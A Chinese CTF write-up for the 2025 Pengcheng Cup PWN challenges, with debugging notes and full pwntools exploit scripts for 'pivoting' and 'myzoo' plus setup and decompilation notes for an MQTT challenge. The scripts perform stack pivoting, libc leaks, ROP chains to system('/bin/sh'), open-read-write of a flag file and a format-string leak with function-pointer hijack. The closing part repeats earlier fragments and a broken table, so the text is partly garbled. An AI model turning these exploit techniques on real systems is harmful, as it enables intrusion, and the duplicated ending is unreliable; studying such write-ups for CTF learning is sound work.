2025鹏程杯PWN除了vm全解
题目难度超级大,vm以后有空再补上
PCB题解
one:pivoting
有点难看,考完四级有点头晕
我们看着程序逻辑进行交互,成功的触发了软件运行故障
⚡ root@LAPTOP-G0KOPP7R /mnt/d/Users/Lenovo/Desktop/pcb/Pivoting ./pwn
This is a bank
Please tell me your name
h�i:�
a
What can I do for you?
1
How much money would you like to withdraw?
2
Are you sure?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
I know
What can I do for you?
How much money would you like to save?
Welcome back
please let me check again
Thanks for your coming
[1] 1150 segmentation fault (core dumped) ./pwn这个题目给出了gadget,可以稳定控制寄存器去进行传参
✘ ⚡ root@LAPTOP-G0KOPP7R /mnt/d/Users/Lenovo/Desktop/pcb/Pivoting ROPgadget --binary ./pwn --only "pop|ret"
Gadgets information
============================================================
0x00000000004014ee : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004014f0 : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004014f2 : pop r14 ; pop r15 ; ret
0x00000000004014f4 : pop r15 ; ret
0x00000000004014ed : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004014f1 : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040119d : pop rbp ; ret
0x00000000004014f5 : pop rdi ; ret
0x00000000004014f3 : pop rsi ; pop r15 ; ret
0x00000000004014ef : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
0x00000000004012fd : ret 0x8b48
0x000000000040124a : ret 0x8d48
Unique gadgets found: 13这里有个死循环,我们需要想办法跳过去,这样之后才能进行控制流的劫持,一开始审计代码的时候没有考虑到这一点
然后我们利用程序逻辑清零flag标志位
然后我们调试确定stack的值就行,这里我们发现arch不指定的时候pwntools默认的是32位的架构的
from pwn import *
io = process("./pwn")
io.recvuntil("Please tell me your name\n")
stack = u64(io.recv(6).ljust(8, b"\x00"))
print("stack = ", hex(stack))
def cmd(payload):
io.sendline("0xdeadbeef")
io.recvuntil("What can I do for you?")
io.sendline("1")
io.recvuntil("How much money would you like to withdraw?")
io.sendline("2")
io.recvuntil("Are you sure?")
io.sendline(payload)
io.recvuntil("What can I do for you?")
io.sendline("0")
io.recvuntil("How much money would you like to save?\n")
io.sendline("1")
context.arch = "amd64"
elf = ELF("./pwn")
pd = flat(stack-0x180+0x18,0x00000000004014f3,elf.got["write"],0,0x00000000004014f5,1,elf.plt["write"],elf.symbols["main"])
pd = pd.ljust(0x50, b"\x00")
pd += p64(stack-0x180+0x18)
pd += p64(0x4013C8) #leave_ret
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
gdb.attach(io, "b *0x4014C8")
cmd(pd)
libc = ELF("./libc.so.6")
io.recvuntil("Thanks for your coming\n")
lib = u64(io.recv(6).ljust(8, b"\x00"))-libc.sym['write']
print("lib = ", hex(lib))我们这样定义完成之后,重启泄露出来libc,但是会发现scanf的时候栈帧没有对齐,所以我们执行的返回前加上一个ret抬栈就能打通了
sudo apt install ruby
sudo apt install gem
gem install one_gadget我们发现还是没有改好,我们安装onegadget试试
这个题目我们尝试open的时候也是出现了莫名其妙的覆写的bug
from pwn import *
io = process("./pwn")
io.recvuntil("Please tell me your name\n")
stack = u64(io.recv(6).ljust(8, b"\x00"))
print("stack = ", hex(stack))
def cmd(payload):
io.sendline("0xdeadbeef")
io.recvuntil("What can I do for you?")
io.sendline("1")
io.recvuntil("How much money would you like to withdraw?")
io.sendline("2")
io.recvuntil("Are you sure?")
io.sendline(payload)
io.recvuntil("What can I do for you?")
io.sendline("0")
io.recvuntil("How much money would you like to save?\n")
io.sendline("1")
context.arch = "amd64"
elf = ELF("./pwn")
pd = flat(0x00000000004014f3,elf.got["write"],0,0x00000000004014f5,1,elf.plt["write"],elf.symbols["main"])
pd = pd.ljust(0x48, b"\x00")
pd += b'./flag\x00\x00'
pd += p64(stack-0x180+0x10)
pd += p64(0x4013C8) #leave_ret
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
cmd(pd)
libc = ELF("./libc.so.6")
io.recvuntil("Thanks for your coming\n")
lib = u64(io.recv(6).ljust(8, b"\x00"))-libc.sym['write']
print("lib = ", hex(lib))
ogg = lib + [0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43][5]
rdx = 0x00000000000904a9 + lib
rsi = 0x000000000002be51 + lib
rdi = 0x000000000002a3e5 + lib
flag = stack-0x180+0x18-8-0x18
open = lib+libc.sym['open']
read = lib+libc.sym['read']
gdb.attach(io, "b *0x4014C8")
#pd = flat(stack-0x180+0x18,0x000000000040101a,stack,0x000000000040101a,0x00000000004014f5,lib+next(libc.search(b"/bin/sh")),lib+libc.sym['system'])
pd = flat(rdi,flag,rsi,0,rdx,0,0,open)
pd += b'\xca\x13\x40\x00\x00\x00\x00\x00'#p64(0x4013ca)#0x4013ca
#pd = flat(stack-0x180+0x18,0x000000000040101a,0x404a00,ogg)
#pd = flat(0)+b'./flag\x00\x00'
#pd +=flat(stack-0x180+0x18,ROP)
pd = pd.ljust(0x50,b'\x00')
pd += p64(stack-0x180-0x10)
pd += p64(0x4013C8) #leave_ret
cmd(pd)
#gdb.attach(io, "b *0x4014C8")
pd = flat('./flag\x00\x00',rdi,3,rsi,stack,rdx,0x20,0,read)
#pd = flat(stack-0x180+0x18,0x000000000040101a,0x404a00,ogg)
#pd = flat(0)+b'./flag\x00\x00'
#pd +=flat(stack-0x180+0x18,ROP)
pd = pd.ljust(0x50, b"\x00")
pd += p64(stack-0x180-8)
pd += p64(0x4013C8) #leave_ret
cmd(pd)
#io.recvuntil('Thanks for your coming\n')
io.interactive()exp
这个交互逻辑被改了是真的被坑了,这种重启之后的全局条件不可逆的要额外去注意
这个我想了很多方法做,尝试了很多基础的方式,学到了很多函数调用栈基础,收获很多
当povoting之后的system莫名奇妙不行的时候,可以打ogg,当还是不行的时候
可以打orw,可以顺着程序的逻辑去打,因为漏洞到重启固定的话反复重复基本就可以了
这个题目我打重复还是不行,一开始有个手动调用read的想法,一直没有实践,到最后发现所有方法都打不通的时候,采取调用read
然后发现,构造调用read劫持返回地址是真的好用,反正我用过一次之后之后就准备常用这种方式了,很方便
from pwn import *
io = process("./pwn")
context.log_level = "debug"
io.recvuntil("Please tell me your name\n")
stack = u64(io.recv(6).ljust(8, b"\x00"))
print("stack = ", hex(stack))
def cmd(payload):
io.sendline("1")
io.recvuntil("What can I do for you?")
io.sendline("1")
io.recvuntil("How much money would you like to withdraw?")
io.sendline("2")
io.recvuntil("Are you sure?")
io.send(payload)
io.recvuntil("What can I do for you?")
io.sendline("0")
io.recvuntil("How much money would you like to save?\n")
io.sendline("1")
context.arch = "amd64"
elf = ELF("./pwn")
pd = flat(0x00000000004014f3,elf.got["write"],0,0x00000000004014f5,1,elf.plt["write"],elf.symbols["main"])
pd = pd.ljust(0x50, b"\x00")
pd += p64(stack-0x180+0x10)
pd += p64(0x4013C8) #leave_ret
context.terminal = ["tmux", "splitw", "-h"]
cmd(pd)
libc = ELF("./libc.so.6")
io.recvuntil("Thanks for your coming\n")
lib = u64(io.recv(6).ljust(8, b"\x00"))-libc.sym['write']
print("lib = ", hex(lib))
ogg = lib + [0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43][5]
rdx = 0x00000000000904a9 + lib
rsi = 0x000000000002be51 + lib
rdi = 0x000000000002a3e5 + lib
flag = stack-0x180+0x18-8-0x18
open = lib+libc.sym['open']
read = lib+libc.sym['read']
write = lib+libc.sym['write']
def cmd2(payload):
io.sendline("1")
io.recvuntil("What can I do for you?")
io.sendline("1")
io.recvuntil("How much money would you like to withdraw?")
io.sendline("2")
io.recvuntil("Are you sure?")
io.send(payload)
gdb.attach(io, "b *0x4014C8")
#pd = flat(stack-0x180+0x18,0x000000000040101a,stack,0x000000000040101a,0x00000000004014f5,lib+next(libc.search(b"/bin/sh")),lib+libc.sym['system'])
pd = flat(rdi,0,rsi,stack-0x180+0x10+0x28,rdx,0x300,0,read,elf.sym['main'])
#pd += b'\xca\x13\x40\x00\x00\x00\x00\x00'#p64(0x4013ca)#0x4013ca
#pd = flat(stack-0x180+0x18,0x000000000040101a,0x404a00,ogg)
#pd = flat(0)+b'./flag\x00\x00'
#pd +=flat(stack-0x180+0x18,ROP)
pd = pd.ljust(0x50,b'\x00')
pd += p64(stack-0x180-0x10)
pd += p64(0x4013C8) #leave_ret
cmd2(pd)
#pause()
ROP = flat(rdi,flag+0x100,rsi,0,rdx,0,0,open)
ROP+= flat(rdi,3,rsi,stack,rdx,0x20,0,read)
ROP+= flat(rdi,1,rsi,stack,rdx,0x20,0,write)
ROP+= b'./flag\x00\x00'
pause()
io.send(ROP)
#io.recvuntil('Thanks for your coming\n')
io.interactive()下面这个可以稳定控制
from pwn import *
io = process("./pwn")
context.log_level = "debug"
io.recvuntil("Please tell me your name\n")
stack = u64(io.recv(6).ljust(8, b"\x00"))
print("stack = ", hex(stack))
def cmd(payload):
io.sendline("1")
io.recvuntil("What can I do for you?")
io.sendline("1")
io.recvuntil("How much money would you like to withdraw?")
io.sendline("2")
io.recvuntil("Are you sure?")
io.send(payload)
io.recvuntil("What can I do for you?")
io.sendline("0")
io.recvuntil("How much money would you like to save?\n")
io.sendline("1")
context.arch = "amd64"
elf = ELF("./pwn")
pd = flat(0x00000000004014f3,elf.got["write"],0,0x00000000004014f5,1,elf.plt["write"],elf.symbols["main"])
pd = pd.ljust(0x50, b"\x00")
pd += p64(stack-0x180+0x10)
pd += p64(0x4013C8) #leave_ret
context.terminal = ["tmux", "splitw", "-h"]
cmd(pd)
libc = ELF("./libc.so.6")
io.recvuntil("Thanks for your coming\n")
lib = u64(io.recv(6).ljust(8, b"\x00"))-libc.sym['write']
print("lib = ", hex(lib))
ogg = lib + [0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43][5]
rdx = 0x00000000000904a9 + lib
rsi = 0x000000000002be51 + lib
rdi = 0x000000000002a3e5 + lib
flag = stack-0x180+0x18-8-0x18
open = lib+libc.sym['open']
read = lib+libc.sym['read']
write = lib+libc.sym['write']
def cmd2(payload):
io.sendline("1")
io.recvuntil("What can I do for you?")
io.sendline("1")
io.recvuntil("How much money would you like to withdraw?")
io.sendline("2")
io.recvuntil("Are you sure?")
io.send(payload)
gdb.attach(io, "b *0x4014C8")
pd = flat(0x000000000040101a,0x00000000004014f5,lib+next(libc.search(b"/bin/sh")),lib+libc.sym['system'])
#pd = flat(rdi,0,rsi,stack-0x180+0x10+0x28,rdx,0x300,0,read,elf.sym['main'])
#pd += b'\xca\x13\x40\x00\x00\x00\x00\x00'#p64(0x4013ca)#0x4013ca
#pd = flat(stack-0x180+0x18,0x000000000040101a,0x404a00,ogg)
#pd = flat(0)+b'./flag\x00\x00'
#pd +=flat(stack-0x180+0x18,ROP)
pd = pd.ljust(0x50,b'\x00')
pd += p64(stack-0x180-0x10)
pd += p64(0x4013C8) #leave_ret
cmd2(pd)
#io.recvuntil('Thanks for your coming\n')
io.interactive()TWO:myzoo
我们还是边运行边做,通过运行逻辑去做
但是这里有个缺陷,就是很感性,比如说上一题,交互逻辑错了,一两个小时愣是没有看出来
这里我见到了这个,第一见到的新东西
_mm_cvtsi32_si128(0x12345678)
// 结果是:{0x00000000, 0x00000000, 0x00000000, 0x12345678} (小端)
_mm_cvtsi32_si128(0x41500000u).m128i_i64然后题目进行初始化结束之后,直接给出pie
printf("gift@%p\n", printf_w);这个题目的问题是共用一个全局变量,我们可以根据这一点劫持程序执行流
yes
随你吧
aaaaaaaaaaaaaaaaaaaaaaaa
welcome to my ez zoos
there are only one dog,one cat,one bird
whats you want to play with
1. dog
2. cat
3. bird
>>
gift@0x612480aec2c9
3
名字:
年龄: 2
忘了品种: aaaaaaaaaaaaaaaaaaaaaaaa
[1] 10095 segmentation fault (core dumped) ./pwn这里的结构体干扰很多,随便选个就能崩溃,我们现在需要的是rop链子
0x1723
0x1A63
0x18BA
0x4050
这个题目的偏移是不好看出来的,我们需要不断去进行调整
aaaaaaaabbbbbbbbccccccccdddddddd
aaaaaaaaabbbbbbbbccccccccdddddddeeeeeeee我们好像已经找到了稳定控制的方式
0x555555555723 mov rax, qword ptr [rip + 0x2926] RAX, [0x555555558050] => 0x55555555b2a0 ◂— 2
0x55555555572a mov rax, qword ptr [rax + 0x50] RAX, [0x55555555b2f0] => 0xa65656565
0x55555555572e mov rdx, qword ptr [rip + 0x291b] RDX, [0x555555558050] => 0x55555555b2a0 ◂— 2
0x555555555735 add rdx, 8 RDX => 0x55555555b2a8 (0x55555555b2a0 + 0x8)
0x555555555739 mov rdi, rdx RDI => 0x55555555b2a8 ◂— 'common bird'
► 0x55555555573c call rax <0xa65656565>
0x55555555573e lea rax, [rip + 0xa09] RAX => 0x55555555614e ◂— 0xa6e8b383e6a0bde4
0x555555555745 mov rdi, rax
0x555555555748 call puts@plt <puts@plt>
0x55555555574d lea rax, [rbp - 0x10]
0x555555555751 mov rsi, rax
────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe270 —▸ 0x7fffffffe3e8 —▸ 0x7fffffffe6a2 ◂— '/mnt/d/Users/Lenovo/Desktop/pcb/myzoo/pwn'
01:0008│-018 0x7fffffffe278 —▸ 0x55555555b310 ◂— 'Golden Retriever'
02:0010│-010 0x7fffffffe280 —▸ 0x555555557d60 —▸ 0x555555555280 ◂— endbr64
03:0018│-008 0x7fffffffe288 ◂— 0x8dbcd9ee2f7d500
04:0020│ rbp 0x7fffffffe290 —▸ 0x7fffffffe2d0 ◂— 1
05:0028│+008 0x7fffffffe298 —▸ 0x555555555f3e ◂— jmp 0x555555555f66
06:0030│+010 0x7fffffffe2a0 ◂— 0
07:0038│+018 0x7fffffffe2a8 ◂— 0x100000000
──────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────
► 0 0x55555555573c
1 0x555555555f3e
2 0x7ffff7dbbd90
3 0x7ffff7dbbe40 __libc_start_main+128
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> tele 0x55555555b2a0
00:0000│ 0x55555555b2a0 ◂— 2
01:0008│ rdx rdi 0x55555555b2a8 ◂— 'common bird'
02:0010│ 0x55555555b2b0 ◂— 0x647269 /* 'ird' */
03:0018│ 0x55555555b2b8 ◂— 0
04:0020│ 0x55555555b2c0 ◂— 0
05:0028│ 0x55555555b2c8 ◂— 0x6161616100000001
06:0030│ 0x55555555b2d0 ◂— 'aaaaabbbbbbbbccccccccdddddddeeeeeeee\n'
07:0038│ 0x55555555b2d8 ◂— 'bbbbbccccccccdddddddeeeeeeee\n'
pwndbg>
08:0040│ 0x55555555b2e0 ◂— 'cccccdddddddeeeeeeee\n'
09:0048│ 0x55555555b2e8 ◂— 'ddddeeeeeeee\n'
0a:0050│ 0x55555555b2f0 ◂— 0xa65656565 /* 'eeee\n' */
0b:0058│ 0x55555555b2f8 —▸ 0x5555555554dd ◂— endbr64我们通过这个前缀,后门加上我们的地址,可以稳定控制call rax
aaaaaaaaabbbbbbbbccccccccdddddddeeee我们通过选择cat,我们控制传入的参数的形式
现在我们缺少一个system
但是我们在调试的时候,我们还是缺少了很多东西(*(heap_ptr + 6))(heap_ptr + 8);比如说这个,我们rax的调用的偏移是这个
我们发现了一个可控链子
1111222233334444555566667777888899990000这样输入的时候,call第二个时候,会出现这个情况
0x5555555558d3 call rax <0x3333333332323232>这里说明我们有四个gadget的长度进行,这个是我们找到的最大的攻击面
但是我们控制不了栈,我们还是只能控制一个gadget
下面是正常的交互的流程,这个应该是有格式化漏洞的
>>
gift@0x60b54bc542c9
1
名字: Buddy
年龄: 3
Golden Retriever
体重: 12.5 kg
Buddy: 汪!汪!
你想要喂它吗
no
bye
welcome to my ez zoos
there are only one dog,one cat,one bird
whats you want to play with
1. dog
2. cat
3. bird
>>
gift@0x60b54bc542c9
2
名字: kitty
年龄: 2
体重: 13.0 kg
这个嘛,我不知道
kitty: 喵喵喵!
你想给它起外号?
no
bye
welcome to my ez zoos
there are only one dog,one cat,one bird
whats you want to play with
1. dog
2. cat
3. bird
>>
gift@0x60b54bc542c9
3
名字: casa
年龄: 1
忘了品种: common bird
casa: ......
它没理你
你想要喂它吗
no
bye这个题需要还原出来结构体,要不靠猜的话很难做

当我选2随便输入一个字符之后

当我选3随便输入一个字符的时候

然后我们大致确定了如何调用system
在调用之后调用puts打印出来libc就行
弄了一下午还没有弄好,这个一旦到printf就会退出,这个要求的栈环境是真的严格
我们定义了一下午结构如下,终于深刻体会到的interactive的申力
我们这里可以定义好了,但是这里稳定传参有点被动,我们这条链子重置的表层的地址,就是隔开了一层地址,所以说我们还需要重新铺垫,手动构造一层隔离
我们理解错了,是差一层地址,不是多一层地址
所以说我们这一条利用思路压根就行不通
from pwn import *
io = process('./pwn')
io.recvuntil("gift@")
pie = int(io.recv(16),16) - 0x12C9
print("pie:",hex(pie))
io.sendline('1')
io.recvuntil("你想要喂它吗")
io.sendline('no')
pr = lambda x:success('\x1b[01;38;5;214m'+hex(x)+'\x1b[0m')
def pay3(payload=b'a',sign=0):
io.sendline('3')
if sign == 1:
io.recvuntil("你想要喂它吗")
io.sendline(b'yes')
io.recvuntil("你说casa不符合他的性格?")
io.sendline(b'yes')
io.recvuntil("那你起个名字吧")
io.send(payload)
elif sign == 2:
io.recvuntil("你想要喂它吗")
io.sendline(b'no')
def pay2(payload=b'a',sign=0):
io.recvuntil("gift@")
io.sendline("2")
if sign == 1:
io.recvuntil("你想给它起外号?\n")
io.sendline('yes')
io.recvuntil("随你吧")
io.send(payload)
elif sign == 2:
io.recvuntil("你想给它起外号?\n")
io.sendline('no')
def pay1(payload=b'a',sign=0):
io.recvuntil("gift@")
io.sendline("1")
if sign == 2:
io.recvuntil("你想要喂它吗")
io.sendline('no')
def leak(payload=b'a',sign=0):
io.recvuntil("gift@")
io.sendline("2")
io.recvuntil('\n')
io.recvuntil('\n')
io.recvuntil('\n')
io.recvuntil('\n')
io.recvuntil('\n')
lib = u64(io.recv(6).ljust(8,b'\x00'))
pr(lib)
if sign == 1:
io.recvuntil("你想给它起外号?\n")
io.sendline('yes')
io.recvuntil("随你吧")
io.send(payload)
elif sign == 2:
io.recvuntil("你想给它起外号?\n")
io.sendline('no')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
elf = ELF('./pwn')
ret = pie + 0x101a
leave_ret = pie + 0x00000000000012f9
puts = pie + elf.plt['puts']
puts2 = pie + elf.got['puts']
puts_addr = pie + 0x72d8
read1 = pie + 0x192D
read2 = pie + 0x1B4D
read = pie + elf.plt['read']
#gdb.attach(io,"b *$rebase(0x1723)") # [1]
gdb.attach(io,"b *$rebase(0x18BA)") # [2]
#gdb.attach(io,"b *$rebase(0x1A63)") # [3]
pd1 = b'a'*4 + p64(puts) + p64(puts2)
pay3(pd1,1)
###结构体的特定的偏移的位置###
pd2 = p64(puts_addr)
pay2(pd2,1)
###触发尝试的puts,并且顺便泄露t表的地址###
leak(pd2,2)
###触发got表的地址###
io.interactive()我们可以利用这条链执行system,但是我们不能利用这条链泄露打印出来got表的地址
我问了问是用的格式化进行泄露的
exp
from pwn import *
io = process('./pwn')
io.recvuntil("gift@")
pie = int(io.recv(16),16) - 0x12C9
print("pie:",hex(pie))
io.sendline('1')
io.recvuntil("你想要喂它吗")
io.sendline('no')
pr = lambda x:success('\x1b[01;38;5;214m'+hex(x)+'\x1b[0m')
def pay3(payload=b'a',sign=0):
io.sendline('3')
if sign == 1:
io.recvuntil("你想要喂它吗")
io.sendline(b'yes')
io.recvuntil("你说casa不符合他的性格?")
io.sendline(b'yes')
io.recvuntil("那你起个名字吧")
io.send(payload)
elif sign == 2:
io.recvuntil("你想要喂它吗")
io.sendline(b'no')
def pay2(payload=b'a',sign=0):
io.recvuntil("gift@")
io.sendline("2")
if sign == 1:
io.recvuntil("你想给它起外号?\n")
io.sendline('yes')
io.recvuntil("随你吧")
io.send(payload)
elif sign == 2:
io.recvuntil("你想给它起外号?\n")
io.sendline('no')
def pay1(payload=b'a',sign=0):
io.recvuntil("gift@")
io.sendline("1")
if sign == 2:
io.recvuntil("你想要喂它吗")
io.sendline('no')
def leak(payload=b'a',sign=0):
global lib
io.recvuntil("gift@")
io.sendline("2")
io.recvuntil('\n')
io.recvuntil('\n')
io.recvuntil('\n')
io.recvuntil('\n')
io.recvuntil('\n')
lib = int(io.recv(14), 16) - 0x29d90
pr(lib)
if sign == 1:
io.recvuntil("你想给它起外号?\n")
io.sendline('yes')
io.recvuntil("随你吧")
io.send(payload)
elif sign == 2:
io.recvuntil("你想给它起外号?\n")
io.sendline('no')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
elf = ELF('./pwn')
ret = pie + 0x101a
leave_ret = pie + 0x00000000000012f9
printf = pie + elf.plt['printf']
puts2 = pie + elf.got['puts']
puts_addr = pie + 0x72d8
read1 = pie + 0x192D
read2 = pie + 0x1B4D
read = pie + elf.plt['read']
#gdb.attach(io,"b *$rebase(0x1723)") # [1]
gdb.attach(io,"b *$rebase(0x18BA)") # [2]
#gdb.attach(io,"b *$rebase(0x1A63)") # [3]
pd1 = b'a'*4 + p64(printf) + p64(puts2)
pay3(pd1,1)
###结构体的特定的偏移的位置###
#pd2 = p64(puts_addr)
pd2 = b'%19$p'
pay2(pd2,1)
###触发尝试的puts,并且顺便got表的地址###
leak(pd2,2)
libc = ELF('./libc.so.6')
###触发泄露libc地址###
pd1 = b'a'*4 + p64(lib+libc.symbols['system']) + p64(puts2)
pay3(pd1,1)
###写上system的地址#######
pd2 = b'/bin/sh\x00'
pay2(pd2,1)
###写上/bin/sh的地址#######
pay2(pd2,3)
###执行shell####
io.interactive()THREE:mqtt
为了运行起来,我们先去安装一下链接库
1. 安装 libcjson.so.1(CJSON 库)
这个库通常由 libcjson1 或 libcjson-dev 提供。在基于 Debian/Ubuntu 的系统上,可以这样安装:
sudo apt update
sudo apt install libcjson1 libcjson-dev如果你使用的是较新的 Ubuntu(如 22.04+),包名可能是
libcjson1;旧版本可能叫libcjson0。如果找不到,也可以从源码编译(见后文)。
2. 安装 libpaho-mqtt3c.so.1(Paho MQTT C 客户端库)
从源码编译 Paho MQTT C(如果 apt 不行)
- 安装依赖:
sudo apt install build-essential cmake git- 克隆官方仓库:
git clone https://github.com/eclipse/paho.mqtt.c.git
cd paho.mqtt.c- 编译并安装(启用共享库):
cmake -B build -DPAHO_BUILD_SHARED=ON -DPAHO_BUILD_STATIC=OFF -DPAHO_WITH_SSL=OFF
cmake --build build
sudo cmake --install build默认会安装到
/usr/local/lib,可能不在默认的LD_LIBRARY_PATH中。
- 更新动态链接器缓存:
sudo ldconfig或者临时添加路径:
export LD_LIBRARY_PATH=/usr/local/lib:$LD_LIBRARY_PATH这样之后我们就能正常运行pwn附件了
对于这种类型的题目最好用最新版本的运行
做题
我们运行程序的效果如下
✘ ⚡ root@ziran-VMware-Virtual-Platform /home/ziran/Desktop/mqtt ldd pwn
linux-vdso.so.1 (0x00007d2d29f87000)
libpaho-mqtt3c.so.1 => /usr/local/lib/libpaho-mqtt3c.so.1 (0x00007d2d29eb4000)
libcjson.so.1 => /lib/x86_64-linux-gnu/libcjson.so.1 (0x00007d2d29e98000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007d2d29c00000)
/lib64/ld-linux-x86-64.so.2 (0x00007d2d29f89000)
⚡ root@ziran-VMware-Virtual-Platform /home/ziran/Desktop/mqtt ./pwn
miss file.补充一下相关的背景知识
/mnt/VIN —— Vehicle Identification Number(车辆识别码)
/mnt/version —— 固件/软件版本号
这是经典的 多项式滚动哈希(Polynomial Rolling Hash),使用的基数是 31。
int __fastcall sub_1509(__int64 p_dest, char *p_s2)
{
int v3; // [rsp+18h] [rbp-8h]
int i; // [rsp+1Ch] [rbp-4h]
v3 = 0;
for ( i = 0; *(_BYTE *)(i + p_dest); ++i )
v3 = 31 * v3 + *(char *)(i + p_dest);
return sprintf(p_s2, "%08x", v3);
}然后还有这个
其中包含大量看似“无用”的变量初始化(如 n1129599309 = 1129599309;、v27 = -1; 等)。这些并不是随机垃圾,而是 MQTT 客户端库(Paho MQTT C)内部结构体的字段初始化。
n1129599309 = 1129599309;
n8 = 8;
n60 = 60;
v11 = 1;
v12 = 1;
v13 = 0;
v14 = 0;
v15 = 0;
n30 = 30;
v17 = 0;
v18 = 0;
v19 = 0;
v20 = 0;
v21 = 0;
v22 = 0;
v23 = 0;
v24 = 0;
v25 = 0;
v26 = 0;
v27 = -1;
v28 = 0;
v29 = 0;
v30 = 0;
v31 = 0;1. 背景:Paho MQTT C 的连接配置
在 Paho MQTT C 库中,连接 MQTT broker 需要传入一个 MQTTClient_connectOptions 结构体,例如:
MQTTClient_connectOptions opts = MQTTClient_connectOptions_initializer;
opts.keepAliveInterval = 60;
opts.cleansession = 1;
opts.connectTimeout = 30;
// ...
MQTTClient_connect(client, &opts);而 MQTTClient_connectOptions_initializer 是一个宏,展开后就是对结构体所有字段的初始化,比如:
#define MQTTClient_connectOptions_initializer { \
'M', 'Q', 'T', 'C', 0, 0, 0, 0, \
60, 1, NULL, NULL, NULL, NULL, \
30, 0, 0, ... \
}2. 反编译器“打散”了结构体
你的 main 函数中,这段代码:
n1129599309 = 1129599309; // 0x434D514D -> "MQTC" (小端)
n8 = 8; // struct version = 8
n60 = 60; // keepAliveInterval = 60
v11 = 1; // cleansession = 1
v12 = 1; // (可能) reliable = 1
v13 = 0; // will = NULL
v14 = 0; // username = NULL
v15 = 0; // password = NULL
n30 = 30; // connectTimeout = 30
...
v27 = -1; // serverURIs = NULL (或特殊值)正是手动初始化这个结构体的各个字段!
特别注意:
1129599309的十六进制是0x434D514D- 按小端序解读为字节:
4D 51 43 43→ ASCII:'M' 'Q' 'T' 'C' - 这正是 Paho MQTT 结构体的 magic header(用于版本检查)
✅ 所以 n1129599309 = 1129599309 实际上是在设置结构体的前 4 字节为 "MQTC"。
3. 对应的真实结构体(简化版)
typedef struct {
char struct_id[4]; // "MQTC"
int struct_version; // 通常为 8
int keepAliveInterval; // 60
int cleansession; // 1
MQTTClient_willOptions* will;
const char* username;
const char* password;
int connectTimeout; // 30
int retryInterval;
void* ssl;
// ... 其他字段
} MQTTClient_connectOptions;你在栈上分配了一块内存(通过多个局部变量拼接),然后按字段赋值,最后应该会传给 MQTTClient_connect()。
⚠️ 但在你贴的代码中,并没有看到调用
MQTTClient_connect(&opts),而是直接MQTTClient_connect()(无参数)——这说明:
- 要么反编译不完整
- 要么这些变量地址被取址后传入(如
&n1129599309作为结构体指针)
- 创建一个 MQTT 客户端实例,用于后续连接、订阅、发布消息。
- 将创建好的客户端“句柄”(本质是一个内部结构体指针)写入全局变量
qword_5100。 - 连接目标是本地的 MQTT 代理(broker):
tcp://localhost:9999 - 客户端标识为
"vehicle_diag"—— 模拟一个车载诊断设备。
MQTTClient_create(
(__int64)&qword_5100, // 输出:客户端句柄的地址
(__int64)"tcp://localhost:9999", // broker 地址(MQTT 服务器)
(__int64)"vehicle_diag" // 客户端 ID(Client ID)
);- 注册消息接收回调函数:当客户端收到订阅主题的消息时,自动调用
sub_1C8C。 - 其他回调(如断连通知)未设置(传
NULL)。
MQTTClient_setCallbacks(
qword_5100, // 客户端句柄
0, // context(用户自定义上下文,可为 NULL)
0, // connection lost callback(断连回调,未设置)
(__int64)sub_1C8C // message arrived callback(消息到达回调函数)
);- 让 MQTT 客户端订阅名为
"diag"的主题(topic)。 - 此后,任何发布到
diag主题的消息都会被 broker 转发给该客户端。 - 客户端收到消息后,会触发之前通过
MQTTClient_setCallbacks注册的回调函数sub_1C8C。
MQTTClient_subscribe(client, "diag");- 创建一个独立的后台线程,执行函数
sub_1E1A。 - 主线程继续执行(打印
"Init..."并进入 sleep 循环),而新线程并发运行。
pthread_create(&newthread, NULL, sub_1E1A, NULL);然后我们进入线程层面来看看
/dev/status 文件的内容会被直接当作字符串,填入 JSON 的 "status" 字段,随心跳包上报。
🔧 典型内容示例(取决于题目设定)
场景 | 可能的 | ||||||||||||||||||||||
正常运行 |
| ||||||||||||||||||||||
故障状态 |
| ||||||||||||||||||||||
诊断模式 |
| ||||||||||||||||||||||
CTF 特殊设计 | PCB题解one:pivoting有点难看,考完四级有点头晕 我们看着程序逻辑进行交互,成功的触发了软件运行故障 这个题目给出了gadget,可以稳定控制寄存器去进行传参 这里有个死循环,我们需要想办法跳过去,这样之后才能进行控制流的劫持,一开始审计代码的时候没有考虑到这一点 然后我们利用程序逻辑清零flag标志位 然后我们调试确定stack的值就行,这里我们发现arch不指定的时候pwntools默认的是32位的架构的 我们这样定义完成之后,重启泄露出来libc,但是会发现scanf的时候栈帧没有对齐,所以我们执行的返回前加上一个ret抬栈就能打通了 我们发现还是没有改好,我们安装onegadget试试 这个题目我们尝试open的时候也是出现了莫名其妙的覆写的bug exp这个交互逻辑被改了是真的被坑了,这种重启之后的全局条件不可逆的要额外去注意
下面这个可以稳定控制 TWO:myzoo我们还是边运行边做,通过运行逻辑去做
这里我见到了这个,第一见到的新东西
